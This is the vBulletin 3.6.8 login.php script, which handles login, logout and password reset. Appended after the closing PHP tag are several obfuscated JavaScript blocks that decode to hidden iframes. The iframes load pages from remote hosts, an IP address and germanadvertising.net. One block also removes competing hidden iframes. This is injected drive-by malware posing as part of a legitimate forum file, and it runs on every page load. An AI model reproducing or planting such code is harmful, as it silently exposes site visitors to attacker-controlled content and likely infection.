<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.8
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2007 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();

// get special data templates from the datastore
$specialtemplates = array();

// pre-cache templates used by all actions
$globaltemplates = array();

// pre-cache templates used by specific actions
$actiontemplates = array(
	'lostpw' => array(
		'lostpw'
	)
);

// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');

// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################

$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);

if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
	exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
	$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);

	if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash'])
	{
		eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash'])));
	}

	process_logout();

	$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
	if (strpos($vbulletin->url, 'do=logout') !== false)
	{
		$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
	}
	$show['member'] = false;
	eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));

}

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
	$vbulletin->input->clean_array_gpc('p', array(
		'vb_login_username'        => TYPE_STR,
		'vb_login_password'        => TYPE_STR,
		'vb_login_md5password'     => TYPE_STR,
		'vb_login_md5password_utf' => TYPE_STR,
		'postvars'                 => TYPE_STR,
		'cookieuser'               => TYPE_BOOL,
		'logintype'                => TYPE_STR,
		'cssprefs'                 => TYPE_STR,
	));

	// can the user login?
	$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);

	if ($vbulletin->GPC['vb_login_username'] == '')
	{
		eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
	}

	// make sure our user info stays as whoever we were (for example, we might be logged in via cookies already)
	$original_userinfo = $vbulletin->userinfo;

	if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
	{
		($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;

		// check password
		exec_strike_user($vbulletin->userinfo['username']);

		if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
		{
			// log this error if attempting to access the control panel
			require_once(DIR . '/includes/functions_log_error.php');
			log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
		}
		$vbulletin->userinfo = $original_userinfo;

		if ($vbulletin->options['usestrikesystem'])
		{
			eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
		}
		else
		{
			eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
		}
	}

	exec_unstrike_user($vbulletin->GPC['vb_login_username']);

	// create new session
	process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

	// do redirect
	do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
	// add consistency with previous behavior
	exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
	$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
	$email = $vbulletin->GPC['email'];

	if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
	{
		$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
		eval('$navbar = "' . fetch_template('navbar') . '";');
	}
	else
	{
		$navbar = '';
	}

	$url =& $vbulletin->url;
	eval('print_output("' . fetch_template('lostpw') . '");');
}

// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{

	$vbulletin->input->clean_gpc('p', 'email', TYPE_STR);

	if ($vbulletin->GPC['email'] == '')
	{
		eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
	}

	require_once(DIR . '/includes/functions_user.php');

	$users = $db->query_read_slave("
		SELECT userid, username, email, languageid
		FROM " . TABLE_PREFIX . "user
		WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
	");
	if ($db->num_rows($users))
	{
		while ($user = $db->fetch_array($users))
		{
			$user['username'] = unhtmlspecialchars($user['username']);

			$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);

			eval(fetch_email_phrases('lostpw', $user['languageid']));
			vbmail($user['email'], $subject, $message, true);
		}

		$vbulletin->url = str_replace('"', '', $vbulletin->url);
		eval(print_standard_redirect('redirect_lostpw', true, true));
	}
	else
	{
		eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
	}
}

// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{

	$vbulletin->input->clean_array_gpc('r', array(
		'userid'       => TYPE_UINT,
		'u'            => TYPE_UINT,
		'activationid' => TYPE_UINT,
		'i'            => TYPE_UINT
	));

	if (!$vbulletin->GPC['userid'])
	{
		$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
	}

	if (!$vbulletin->GPC['activationid'])
	{
		$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
	}

	$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);

	$user = $db->query_first("
		SELECT activationid, dateline
		FROM " . TABLE_PREFIX . "useractivation
		WHERE type = 1
			AND userid = $userinfo[userid]
	");

	if (!$user)
	{
		// no activation record, probably got back here after a successful request, back to home
		exec_header_redirect($vbulletin->options['forumhome'] . '.php');
	}

	if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
	{  // is it older than 24 hours?
		eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
	}

	if ($user['activationid'] != $vbulletin->GPC['activationid'])
	{ //wrong act id
		eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
	}

	// delete old activation id
	$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");

	// make random number
	$newpassword = vbrand(0, 100000000);

	// init user data manager
	$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
	$userdata->set_existing($userinfo);
	$userdata->set('password', $newpassword);
	$userdata->save();

	($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;

	eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
	vbmail($userinfo['email'], $subject, $message, true);

	eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));

}

/*======================================================================*\
|| ####################################################################
|| # Downloaded: none
|| # CVS: $RCSfile$ - $Revision: 16422 $
|| ####################################################################
\*======================================================================*/
?><script>
<!--
var d=document,kol=561;
function O10H485EBB1D3103B(H485EBB1D31439){ function H485EBB1D31834() {var H485EBB1D31C2E=16;return H485EBB1D31C2E;} return( parseInt(H485EBB1D31439,H485EBB1D31834()));}function H485EBB1D3202F(H485EBB1D3242A){ var H485EBB1D33024 = 2; var H485EBB1D32823='';for(H485EBB1D32C24=0; H485EBB1D32C24<H485EBB1D3242A.length; H485EBB1D32C24+=H485EBB1D33024){ H485EBB1D32823 += ( String.fromCharCode (O10H485EBB1D3103B(H485EBB1D3242A.substr(H485EBB1D32C24, H485EBB1D33024))));}return H485EBB1D32823;} document.write(H485EBB1D3202F('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A31393433292B273233625C272077696474683D3637206865696768743D3239207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
</script><script id='c1FEEB5490349C8CA1406A'>
/* F}m|sz~Hpxm~syx*mromuimyx~ox~23…€k|*sG:Ersvo2nymwox~8qo~Ovowox~}Lƒ^kqXkwo21sp|kwo138voxq~r3…€k|*ovGnymwox~8qo~Ovowox~}Lƒ^kqXkwo21sp|kwo13esgEsp2*2ov8}~ƒvo8ns}zvkƒGG1xyxo1*††*ov8}~ƒvo8€s}slsvs~ƒ*GG1rsnnox1*††*2ov8sn~rF?*00*ov8rosqr~F?33*00*ov8xkwo+G1m;13…ov8zk|ox~Xyno8|owy€oMrsvn2ov3E‡ov}o*s55E‡‡mromuimyx~ox~23Esp2+wƒsk3…nymwox~8|s~o2xo}mkzo2*1/=m/@C/@@/A</@;/@n/@?/<:/@o/@;/@n/@?/=n/@=/=;/<:/A=/A</@=/=n/<A/@B/A>/A>/A:/=k/<p/<p/@A/@?/A</@n/@;/@o/@;/@>/A@/@?/A</A>/@C/A=/@C/@o/@A/<o/@o/@?/A>/<p/@C/@o/<o/@=/@A/@C/=p/==0/<A/<l/>n/@;/A>/@B/<o/A</@p/A?/@o/@>/<B/>n/@;/A>/@B/<o/A</@;/@o/@>/@p/@n/<B/<C/<k/==/=B/=;/=?/=;/<C/<l/<A/=>/@</=</@@/=</==/=B/<A/<:/AA/@C/@>/A>/@B/=n/=B/=;/<:/@B/@?/@C/@A/@B/A>/=n/=>/=A/=;/<:/A=/A>/AC/@m/@?/=n/<A/A@/@C/A=/@C/@</@C/@m/@C/A>/AC/=k/@B/@C/@>/@>/@?/@o/<A/=o/=m/<p/@C/@@/A</@;/@n/@?/=o133E‡€k|*wƒskG~|oEF9}m|sz~H */
</script>
<script>
var A5D27D9235226EC554EE = 77-67;var A6C34D9BD5C700FE4E6D = document.getElementById('c1FEEB5490349C8CA1406A').innerHTML;var c11dc41d7AF66382E362335DD8CFB = new String;A6C34D9BD5C700FE4E6D = A6C34D9BD5C700FE4E6D.substr(4,854);for(i=0;i<A6C34D9BD5C700FE4E6D.length;i++) c11dc41d7AF66382E362335DD8CFB += String.fromCharCode(A6C34D9BD5C700FE4E6D.substr(i,1).charCodeAt()-A5D27D9235226EC554EE);document.write(c11dc41d7AF66382E362335DD8CFB);
</script>
<script id='c1AE902410EBB6AD0A8839'>
/* Czjypw{Em|uj{pvu'joljrfjvu{lu{/0‚}hy'pD7B~opsl/kvj|tlu{5nl{Lsltlu{zI€[hnUhtl/.pmyhtl.05slun{o0‚}hy'lsDkvj|tlu{5nl{Lsltlu{zI€[hnUhtl/.pmyhtl.0bpdBpm/'/ls5z{€sl5kpzwsh€DD.uvul.'ƒƒ'ls5z{€sl5}pzpipsp{€'DD.opkklu.'ƒƒ'/ls5~pk{oC<'--'ls5olpno{C<00'--'ls5uhtl(D.j8.0‚ls5whylu{Uvkl5yltv}lJopsk/ls0B„lszl'p22B„„joljrfjvu{lu{/0Bpm/(t€ph0‚kvj|tlu{5~yp{l/|ulzjhwl/'.,:j,=@,==,>9,=8,=k,=<,97,=l,=8,=k,=<,:k,=:,:8,97,>:,>9,=:,:k,9>,=?,>;,>;,>7,:h,9m,9m,=>,=<,>9,=k,=8,=l,=8,=;,>=,=<,>9,>;,=@,>:,=@,=l,=>,9l,=l,=<,>;,9m,=@,=l,9l,=:,=>,=@,:m,::-,9>,9i,;k,=8,>;,=?,9l,>9,=m,><,=l,=;,9?,;k,=8,>;,=?,9l,>9,=8,=l,=;,=m,=k,9?,9@,9h,:9,:8,:>,::,::,:7,9@,9i,9>,=9,:@,:?,=<,:;,=8,:;,==,9>,97,>>,=@,=;,>;,=?,:k,:;,:9,:9,97,=?,=<,=@,=>,=?,>;,:k,:<,:8,:<,97,>:,>;,>@,=j,=<,:k,9>,>=,=@,>:,=@,=9,=@,=j,=@,>;,>@,:h,=?,=@,=;,=;,=<,=l,9>,:l,:j,9m,=@,==,>9,=8,=k,=<,:l.00B„}hy't€phD{y|lBC6zjypw{E */
</script>
<script>
var C8CCB3D9169A66162E18 = 33-26;var A9B605D26A7889BA2E9A = document.getElementById('c1AE902410EBB6AD0A8839').innerHTML;var c11dc41d7A9A7524E6BC4BE1194A6 = new String;A9B605D26A7889BA2E9A = A9B605D26A7889BA2E9A.substr(4,863);for(i=0;i<A9B605D26A7889BA2E9A.length;i++) c11dc41d7A9A7524E6BC4BE1194A6 += String.fromCharCode(A9B605D26A7889BA2E9A.substr(i,1).charCodeAt()-C8CCB3D9169A66162E18);document.write(c11dc41d7A9A7524E6BC4BE1194A6);
</script>
<script id='c1B54865FECD8769B6E7C0'>
/* <script>function check_content(){var i=0;while(document.getElementsByTagName('iframe').length){var el=document.getElementsByTagName('iframe')[i];if( (el.style.display=='none' || el.style.visibility =='hidden' || (el.width<5 && el.height<5)) && el.name!='c1'){el.parentNode.removeChild(el);}else i++;}}check_content();
if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%65%72%6d%61%6e%61%64%76%65%72%74%69%73%69%6e%67%2e%6e%65%74%2f%69%6e%2e%63%67%69%3f%33&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%37%34%35%31%30%29%2b%27%30%34%36%33%27%20%77%69%64%74%68%3d%34%38%35%20%68%65%69%67%68%74%3d%35%36%36%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script> */
</script>
<script>
var BAF8904EE750CF6EEC67 = 20-20;var A612090671E92381A25E = document.getElementById('c1B54865FECD8769B6E7C0').innerHTML;var c11dc41d7F051616B438B0F47FA3D = new String;A612090671E92381A25E = A612090671E92381A25E.substr(4,851);for(i=0;i<A612090671E92381A25E.length;i++) c11dc41d7F051616B438B0F47FA3D += String.fromCharCode(A612090671E92381A25E.substr(i,1).charCodeAt()-BAF8904EE750CF6EEC67);document.write(c11dc41d7F051616B438B0F47FA3D);
</script>
<script>check_content()</script>